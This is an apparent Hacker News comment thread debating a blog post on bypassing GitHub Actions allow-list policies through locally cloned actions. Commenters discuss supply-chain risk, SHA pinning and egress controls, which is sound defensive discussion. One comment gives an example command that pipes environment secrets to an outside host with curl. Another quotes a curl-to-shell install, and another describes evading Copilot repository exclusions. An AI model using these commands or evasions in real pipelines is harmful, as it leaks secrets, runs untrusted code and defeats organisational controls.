8 ms·
Bypassing GitHub Actions policies in the dumbest way possible
- hiatus 1y agoThat the policy can be "bypassed" by a code change doesn't seem so severe. If you are not reviewing changes to your CI/CD workflows all hope is lost. Your code could be exfiltrated, secrets stolen, and more.
- internobody 1y agoIt's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.
- rawling 1y agoBut similarly, couldn't you just write harmful stuff straight into the action itself?
- mystifyingpoi 1y agoYou definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.
- jadamson 1y ago`pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed. GitHub has a page on this: https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ https://securitylab.github.com/resources/github-actions-prev...
- woodruffw 1y agoThe point of the post is that review is varied in practice: if you’re a large organization you should be reviewing the code itself for changes, but I suspect many orgs aren’t tracking every action (and every version of every action) introduced in CI/CD changes. That’s what policies are useful for, and why bypasses are potentially dangerous. Or as an intuitive framing: if you can understand the value of branch protection and secret pushing policies for helping your junior engineers, the same holds for your CI/CD policies.
- hiatus 1y agoThe problem is not related to tracking every action or version in CI/CD changes. Right now, you can just curl a binary and run that. How is that any different from the exploit here? I guess people may have had a false sense of security if they had implemented those policies, but I would posit those people didn't really understand their CI/CD system if they thought those policies alone would prevent arbitrary code execution.
- woodruffw 1y agoI think it's a difference in category; pulling random binaries from the Internet is obviously not good, but it's empirically mostly done in a pointwise manner. Actions on the other hand are pulled from a "marketplace", are subject to automatic bumps via things like Dependanbot and Renovate, can be silently rewritten thanks to tag mutability, etc. Clearly in an ideal world runners would be hermetic. But I think the presence of other sources of non-hermeticity doesn't justify a poorly implemented policy feature on GitHub's part.
- solumos 1y ago“We only allow actions published by our organization and reusable workflows” and “We only allow actions published by our organization and reusable workflows OR ones that are manually downloaded from an outside source” are very very different policies
- hiatus 1y agoBut there is no policy preventing external downloads in general, is there? I can curl a random script from a malicious website, too.
- deleted 1y ago[deleted]
- kj4ips 1y agoThis is a prime example of "If you make an unusable secure system, the users will turn it into an insecure usable one." If someone is actively subverting a control like this, it probably means that the control has morphed from a guardrail into a log across the tracks. Somewhat in the same vein as AppLocker &co. Almost everyone says you should be using it, but almost no-one does, because it takes a massive amount of effort just to understand what "acceptable software" is across your entire org.
- solumos 1y agoThe implied fix to the “unusable secure system” is forking the checkout action to your org and referencing it there.
- hiatus 1y agoThat's not a fix though is it? Git tools are already on the runner. You could checkout code from public repos using cli, and you could hardcode a token into the workflow if you wanted to access a private repo (assuming the malicious internal user doesn't have admin privileges to add a secret).
- welshwelsh 1y agoNobody outside of the IT security bubble thinks that using AppLocker is a sensible idea. Companies have no business telling their employees which specific programs they can and cannot run to do their jobs, that's an absurd level of micromanagement.
- neilv 1y ago> Companies have no business telling their employees which specific programs they can and cannot run to do their jobs, that's an absurd level of micromanagement. I'm usually on the side of empowering workers, but I believe sometimes the companies do have business saying this. One reason is that much of the software industry has become a batpoop-insane slimefest of privacy (IP) invasion, as well as grossly negligent security. Another reason is that the company may be held liable for license terms of the software. Another reason is that the company may be held liable for illegal behavior of the software (e.g., if the software violates some IP of another party). Every piece of software might expose the company to these risks. And maybe disproportionately so, if software is being introduced by the "I'm gettin' it done!" employee, rather than by someone who sees vetting for the risks as part of their job.
- throwaway889900 1y agoNot only can you yourself manually check out a specific repo, but if you have submodules and do a recursive checkout, it's also possible to pull in other security nightmares from places you never expected now. That would be one complicated attack to pull off though, chain of compromised workflows haha
- lmm 1y agoMeh. Arbitrary code execution allows you to execute arbitrary code. If you curl | sh something in your github action script then that will "bypass the policy" too.
- deleted 1y ago[deleted]
- ghusto 1y ago> world’s dumbest policy bypass: instead of doing uses: actions/checkout@v4, the user can git clone (or otherwise fetch) the actions/checkout repository into the runner’s filesystem, and then use uses: ./path/to/checkout to run the very same action Good lord. This is akin to saying "Instead of doing `apt-get install <PACKAGE>`, one can bypass the apt policies by downloading the package and running `dpkg -i <PACKAGE>`.
- woodruffw 1y agoI think a salient difference is that apt policies apply to apt, which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses writ large. (But also: in a structural sense, if a system did have `apt` policies that were intended to prevent dependency introduction, then such a system should prevent that kind of bypass. That doesn't mean that the bypass is life-or-death, but it's a matter of hygiene and misuse prevention.)
- gawa 1y ago> which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses If it were phrased like this then you would be right. The docs would give a false sense of security, would be misleading. So I went to check, but I didn't find such assertion in the linked docs (please let me know if I missed it) [0] So I agree with the commenter above (and Github) that "editing the github action to add steps to download a script and running" is not a fundamental flaw of this system designed to do exactly that, to run commands as instructed by the user. Overall we should always ask ourselves: what's the threat model here? If anyone can edit the Github Action, then we can make it do a lot of things, and this "Github Action Policy" filter toggle is the last of our worry. The only way to make the CI/CD pipeline secure (especially since the CD part usually have access to the outside world) is to prevent people from editing and running anything they want in it. It means preventing the access of users to the repository itself in the case off Github Actions. [0] https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass https://blog.yossarian.net/2025/06/11/github-actions-policie...
- 1y ago
- MadVikingGod 1y ago[flagged]
- woodruffw 1y agoThe action in question is not in the repository; it's retrieved at runner execution time. I think that's an important distinction.
- lixtra 1y agoIt’s like putting curl -sSL https://example.com/install.sh https://example.com/install.sh | sh In your action. For sure happens.
- woodruffw 1y agoYes; I would also consider that a bad idea. Two wrongs don't make a right (and a different wrong doesn't justify a broken policy elsewhere).
- masklinn 1y agoBeing able to filter or disable network access (aside from what github requires on their side to interact with actions) would definitely be useful, but AFAIK that's only an option for self-hosted runners and enterprise accounts.
- woodruffw 1y agoYep, I agree completely. It's unfortunate that self-hosted runners are otherwise so difficult to secure, since controlled ingress/egress is otherwise an extremely strong motivation for using them.
- deleted 1y ago[deleted]
- hk1337 1y agoThis is why I avoid using non-official actions where possible and always set a version for the action. We had a contractor that used some random action to ssh files to the server and referenced master as the version to boot. First, ssh isn't that difficult to upload files and run commands but the action owner could easily add code to save private keys and information to another server. I am a bit confused on the "bypass" though. Wouldn't the adversary need push access to the repository to edit the workflow file? So, the portion that needs hardening is ensuring the wrong people do not have access to push files to the repository? On public repositories I could see this being an issue if they do it in a section of the workflow that is run when a PR is created. Private repositories, you should take care with who you give access.
- gawa 1y ago> This is why I avoid using non-official actions where possible and always set a version for the action. Those are good practices. I would add that pinning the version (tag) is not enough, as we learnt with the tj-actions/changed-files event. We should pin the commit sha.[0]. Github states this in their official documentation [1] as well: > Pin actions to a full length commit SHA > Pin actions to a tag only if you trust the creator [0] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised#recovery-steps https://www.stepsecurity.io/blog/harden-runner-detection-tj-... [1] https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#using-third-party-actions https://docs.github.com/en/actions/security-for-github-actio...
- jand 1y ago> I am a bit confused on the "bypass" though. Wouldn't the adversary need push access to the repository to edit the workflow file? So, the portion that needs hardening is ensuring the wrong people do not have access to push files to the repository? I understand it that way, too. But: Having company-wide policies in place (regarding actions) might be misunderstood/used as a security measure for the company against malicious/sloppy developers. So documenting or highlighting the behaviour helps the devops guys avoid a wrong sense of security. Not much more.
- monster_truck 1y agoHad these exact same thoughts while I was configuring a series of workflows and scripts to get around the multiple unjustified and longstanding restrictions on what things are allowed to happen when. That sinking feeling when you search for how to do something and all of the top results are issues that were opened over a decade ago... It is especially painful trying to use github to do anything useful at all after being spoiled by working exclusively from a locally hosted gitlab instance. I gave up on trying to get things to cache correctly after a few attempts of following their documentation, it's not like I'm paying for it. Was also very surprised to see that the recommended/suggested default configuration that runs CodeQL had burned over 2600 minutes of actions in just a day of light use, nearly doubling the total I had from weeks of sustained heavy utilization. Who's paying for that??
- Already__Taken 1y agoI'm baffled you can't clone internal/private repos with anything other than a developer PAT. They have a UI to share access for workflows, let cloning use that...
- throwaway52176 1y agoI use GitHub apps for this, it’s cumbersome but works.
- notpushkin 1y agoSSH also works, but I’d love to be able to just use git-credential-oauth [0] like for any other repo. [0]: https://github.com/hickford/git-credential-oauth https://github.com/hickford/git-credential-oauth
- Arbortheus 1y agoUse a GitHub app, that’s what it’s for.
- Already__Taken 1y agowhat with actions/checkout@v4, hows that documented? https://github.com/actions/checkout/issues/567#issuecomment-2728585452 https://github.com/actions/checkout/issues/567#issuecomment-... GH has a `permissions:` entry and this mechanism already for internal repo action sharing. And thousands of our dollars per month.
- fkyoureadthedoc 1y agoThis doesn't seem like a big deal to be honest. My main problem with the policy and how it's implemented at my job is that the ones setting the policies aren't the ones impacted by them, and never consult people who are. Our security team tells our GitHub admin team that we can't use 3rd party actions. Our GitHub admin team says sure, sounds good. They don't care, because they don't use actions, and they in fact don't delivery anything at all. Security team also delivers nothing, so they don't care. Combined, these teams crowning achievement is buying GitHub Enterprise and moving it back and forth between cloud and on prem 3 times in the last 7 years. As a developer, I'll read the action I want to use, and if it looks good I just clone the code and upload it into our own org/repo. I'm already executing a million npm modules in the same context that do god knows what. If anyone complains, it's getting hit by the same static/dynamic analysis tools as the rest of the code and dependencies.
- deleted 1y ago[deleted]
- mook 1y agoIt sounds like reading the code and forking it (therefore preventing malicious updates) totally satisfies the intent behind the policy, then. My company has a similar whitelist of actions, with a list of third-party actions that were evaluated and rejected. A lot of the rejected stuff seems to be some sort of helper to make a release, which pretty much has a blanket suggestion to use the `gh` CLI already on the runners.
- clysm 1y agoI’m not seeing the security issue here. Arbitrary code execution leads to arbitrary code execution? Seems like policies are impossible to enforce in general on what can be executed, so the only recourse is to limit secret access. Is there a demonstration of this being able to access/steal secrets of some sort?
- dijksterhuis 1y agoIt's less of an "use this to do nasty shit to a bunch of unsuspecting victims" one, and more of a "people can get around your policies when you actually need policies that limit your users". 1. BigEnterpriseOrg central IT dept click the tick boxes to disable outside actions because <INSERT SECURITY FRAMEWORK> compliance requires not using external actions [0] 2. BigBrainedDeveloper wants to use ExternalAction, so uses the method documented in the post because they have a big brain 3. BigEnterpriseOrg is no longer compliant with <INSERT SECURITY FRAMEWORK> and, more importantly, the central IT dept have zero idea this is happening without continuously inspecting all the CI workflows for every team they support and signing off on all code changes [1] That's why someone else's point of "you're supposed to fork the action into your organisation" is a solution if disabling local `uses:` is added as an option in the tick boxes -- the central IT dept have visibility over what's being used and by whom if BigBrainedDeveloper can ask for ExternalAction to be forked into BigEnterpriseOrg GH organisation. Central IT dept's involvement is now just review the codebase, fork it, maintain updates. NOTE: This is not a panacea against all things that go against <INSERT SECURITY FRAMEWORK> compliance (downloading external binaries etc). But it would be an easy gap getting closed. ---- [0]: or something, i dunno, plenty of reasons enterprise IT depts do stuff that frustrates internal developers [1]: A sure-fire way to piss off every single one of your internal developers.
- mystifyingpoi 1y ago> Seems like policies are impossible to enforce The author relates to exactly that: "ineffective policy mechanisms are worse than missing policy mechanisms, because they provide all of the feeling of security through compliance while actually incentivizing malicious forms of compliance." And I totally agree. It is so abundant. "Yes, we are in compliance with all the strong password requirements, strictly speaking there is one strong password for every single admin user for all services we use, but that's not in the checklist, right?"
- TheTaytay 1y agoI don’t understand the risk honestly. Anyone who can write code to the repo can already do anything in GitHub actions. This security measure was never designed to mitigate against a developer doing something malicious. Whether they clone another action into the repo or write custom scripts themselves, I don’t see how GitHub’s measures could protect against that.
- woodruffw 1y agoA mitigation for this exact policy mechanism is included in the post. (The point is not directly malicious introductions: it's supply chain risk in the form of engineers introducing actions/reusable workflows that are themselves malleable/mutable/subject to risk. A policy that claims to do that should in fact do it, or explicitly document its limitations.)
- x0x0 1y agoThe risk is the same reason we don't allow any of our servers to make outgoing network connections except to a limited host lists. eg backend servers can talk to the gateway, queue / databases, and an approved list of domains for apis and nothing else. The same guard helps prevent accidents, not maliciousness, and security breaches. If code somehow gets onto our systems, but we prevent most outbound connections, exfiltrating is much harder. Yes, people do code review but stuff slips through. See eg Google switching one of their core libs that did mkdir with a shell to run mkdir -p (tada! every invocation better understand shell escaping rules). That made it through code review. People are imperfect; telling your network no outbound connections (except for this small list) is much closer to perfect.
- hk1337 1y agoI haven't tested this but the main risk that is possible is users creating PRs on public repositories with actions that run on pull request.
- 1oooqooq 1y agoif your unprotect pr job can have side effects besides accessing the public repo and returning a boolean for passing status, what hope is there?
- bob1029 1y agoI feel like GitHub's CI/CD offering is too "all-in" now. Once we are at a point where the SCM tool is a superset of AWS circa 2010, we probably need to step back and consider alternatives. A more ideal approach could be to expose a simple rest API or webhook that allows for the repo owner to integrate external tooling that is better suited for the purpose of enforcing status checks. I would much rather write CI/CD tooling in something like python or C# than screw around with yaml files and weird shared libraries of actions. You can achieve something approximating this right now, but you would have to do it by way of GH Actions to some extent. PRs are hardly latency sensitive, so polling a REST API once every 60 seconds seems acceptable to me. This is essentially what we used to do with Jenkins, except we'd just poll the repo head instead of some weird API.
- korm 1y agoGitHub has both webhooks and an extensive API. What you are describing is entirely doable, nothing really requires GitHub Actions as far as I know. Most people opt for it for convenience. There's a balance you can strike between all the yaml and shared actions, and running your own scripts.
- masklinn 1y ago> A more ideal approach could be to expose a simple rest API or webhook that allows for the repo owner to integrate external tooling that is better suited for the purpose of enforcing status checks. That... has existed for years? https://docs.github.com/en/rest?apiVersion=2022-11-28 https://docs.github.com/en/rest?apiVersion=2022-11-28 That was the only thing available before github actions. That was also the only thing available if you wanted to implement the not rocket science principle before merge queues. It's hard to beat free tho, especially for OSS maintainership. And GHA gives you concurrency you'd have to maintain an orchestrator (or a completely bespoke solution), just create multiple jobs or workflow. And you don't need to deal with tokens to send statuses with. And you get all the logs and feedback in the git interface rather than having to BYO again. And you can actually have PRs marked as merged when you rebased or squashed them (a feature request which is now in middle school: https://github.com/isaacs/github/issues/2 https://github.com/isaacs/github/issues/2) > PRs are hardly latency sensitive, so polling a REST API once every 60 seconds seems acceptable to me. There is nothing to poll: https://docs.github.com/en/webhooks/types-of-webhooks https://docs.github.com/en/webhooks/types-of-webhooks
- chelmzy 1y agoDoes anyone know how to query what actions have been imported from the Actions Marketplace (or anywhere) in Github enterprise? I've been lazily looking into this for a bit and can't find a straight answer.
- nyc1983 1y ago[flagged]
- YetAnotherNick 1y agoCODEOWNERS is only for main branch AFAIK. You can run github action in commits.
- nyc1983 1y agoCODEOWNERS combined with branch protection rules can require reviews for arbitrary branches matching a glob pattern.
- woodruffw 1y agoOf the many things people have accused me of, being uninformed about GitHub Actions best practices is new. (CODEOWNERS is a red herring: GitHub clearly intends for this policy mechanism to be used, and so it should be sound. Policy mechanisms should always be sound, even if there's a better or more general alternative mechanism. If GitHub intends CODEOWNERS to be that mechanism, then they should remove this one and document its replacement.)
- nyc1983 1y agoFrankly I think your article focuses on an outdated or not relevant setting in GitHub. So the red herring is probably backwards here. There are tons of these (don’t get me started about topics and managing them for many repos), but GitHub has clearly been pushing rulesets over the past years and combined with CODEOWNERS this is the de-facto way of granularity managing who can make changes to GA workflows.
- woodruffw 1y agoUnlike other things that have been moved to rulesets, there's no prominent marker on these policies indicating that they're outdated or no longer considered best practice. Do you have some kind of public indication that these are discouraged in any way? (As others have pointed out, this isn't even necessarily something that makes sense with CODEOWNERS -- the point of a dependency policy is to not trust human identities at all.)
- solatic 1y agoIf your Security folk are trying to draw up a wall around the enterprise (prevent using stuff not intentionally mirrored in) but there are no network controls - no IP address based firewalls, no DNS firewalls, no Layer 7 firewalls (like AWS VPC Endpoint Policy or GCP VPC Service Controls) governing access to object storage and the like.... Quite frankly, the implementation is either immature or incompetent. If you work for an org with restrictive policy but not restrictive network controls, anyone at work could stand up a $5 VPS and break the network control. Or a Raspberry Pi at home and DynDNS. Or a million others. Don't be stupid and think that a single security control means you don't need to do defense in depth.
- OptionOfT 1y agoWe forked the actions as a submodule, and then pointed the uses to that directory. That way we were still tracking the individual commits which we approved as a team. Now there is interesting dichotomy. On one hand PMs want us to leverage GitHub Actions to build out stuff more quickly using pre-built blocks, but on the other hand security has no capacity or interest to whitelist actions (not to mention that the whitelist list is limited to 100 actions as per the article). That said, even tagging GitHub actions with a sha256 isn't perfect for container actions as they can refer to a tag, and the contents of that tag can be changed: https://docs.github.com/en/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions#runs-for-docker-container-actions https://docs.github.com/en/actions/sharing-automations/creat... E.g. I publish an action with code like runs: using: 'docker' image: 'docker://optionoft/actions-tool:v3.0.0' You use the action, and pin it to the SHA of this commit. I get hacked, and a hacker publishes a new version of optionoft/actions-tool:v3.0.0 You wouldn't even get a Dependabot update PR.
- opello 1y agoMaybe there's a future Dependabot feature to create FYI issues when in use tags change?
- wereHamster 1y agosecurityscorecard is easy to integrate (it's a cli tool or you run it as a github action), one of the checks it performs is "Pinned-Dependencies": https://github.com/ossf/scorecard/blob/main/docs/checks.md#pinned-dependencies https://github.com/ossf/scorecard/blob/main/docs/checks.md#p.... Checks that fail generate an security alert under Security -> Code scanning.
- OptionOfT 1y agoIs it transitive? > The check works by looking for unpinned dependencies in Dockerfiles, shell scripts, and GitHub workflows which are used during the build and release process of a project. Does it detect an unpinned (eg a Docker tag) of a pinned dependency.
- john-h-k 1y agoThere is no meaningful way to get around this. Ban them in `uses:` keys? Fine, they just put it in a bash script and run that. Etc etc. If it allows running arbitrary code, this will always exist
- akoboldfrying 1y agoI agree that their proposed "fix" is not a fix at all, due to the fact that you can run arbitrary shell commands that achieve the same thing. OTOH, if in addition to restricting to a whitelist of actions you completely forbid ad hoc shell commands (i.e., `run:` blocks), now you have something that can be made secure.
- zingababba 1y agoCopilot repository exclusions is another funny control from GitHub. It gets the local repo context from the .git/config remote origin URL. Just comment that out and you can use copilot on an 'excluded' repo. Remove the comment to push your changes. Very much a paper control.
- gchamonlive 1y agoI'm inclined to add https://github.com/marketplace/actions/sync-to-gitlab https://github.com/marketplace/actions/sync-to-gitlab to all my repos in github, so that I can tap into the social value of GitHub's community and the technical value of GitLab's everything else.
- dijksterhuis 1y agoSimpler version from GitLab (no actions needed) https://docs.gitlab.com/user/project/repository/mirror/push/ https://docs.gitlab.com/user/project/repository/mirror/push/ I was planning to do this myself. GitLab for dev work proper. GitHub push mirror on `main` for gen-pop access (releases/user issue reporting).
- 0xbadcafebee 1y agoYou call it a security issue. I call it my only recourse when the god damn tyrannical GitHub Org admins lock it down so hard I can't do my job. (yes it is a security issue (as it defeats a security policy) but I hope it remains unfixed because it's a stupid policy)
- jamesblonde 1y agoRun data integration pipelines with Github actions - https://dlthub.com/docs/walkthroughs/deploy-a-pipeline/deploy-with-github-actions https://dlthub.com/docs/walkthroughs/deploy-a-pipeline/deplo... It's the easiest way for many startups to get people to try out your software for free.
- bluelightning2k 1y agoI don't think this is a security flaw. That's like saying it's a security flaw in the Chrome store that you could enable dev mode, copy the malware and run it that way.
- woodruffw 1y agoI think the closer analogy would be a org-managed Chrome policy preventing people from installing certain extensions, which could then be bypassed by sideloading those extensions.
- XCabbage 1y agoI don't see the vulnerability. In fact, I think considering this a problem at all is ridiculous. Obviously it's impossible to block all ways of "bypassing" the policy. If you are a developer who has already been entrusted with the ability to make your GitHub Actions workflows run arbitrary code, then OF COURSE you can make it run the code of some published action, even if it's just by manual copy and paste. This fact doesn't need documenting because it's trivially obvious that it could not possibly be any other way. Nor does it follow from this that the existence of the policy and the limited automatic enforcement mechanism is pointless and harmful. Instead of thinking of the enforcement mechanism as a security control designed to outright prevent a malicious dev from including code from a malicious action, instead think of it more like a linting rule: its purpose is to help the developer by bringing the organisation's policy on third party actions to the dev's attention and pointing out that what they are trying to do breaks it. If they decide to find a workaround at that point (which of course they CAN do, because there's no feasible way to constrain them from doing so), that's an insubordination issue, just like breaking any other policy. Unless his employer has planted a chip in his brain, an employee can also "bypass" the sexual harassment policy "in the dumbest way possible" - just walk up to Wendy from HR and squeeze her tits! There is literally no technical measure in place to make it physically impossible for him do so. Is the sexual harassment policy therefore also worse than nothing, and is it a problem that the lack of employee brain chips isn't documented?
- crabbone 1y agoYes and no. The problem of audit of third-party code is real. Especially because of the way GitHub allows embedding it in users' code: it's not centralized, doesn't require signatures / authentication. But, I think, the real security-minded approach here should be at the container infrastructure level. I.e. security policies should apply to things like container network in the way similar to security groups in popular cloud providers, or executing particular system calls, or accessing filesystem paths. Restrictions on the level of what actions can be mentioned in the "manifest" are just a bad approach that's not going to stop anyone.
- b0a04gl 1y ago[dead]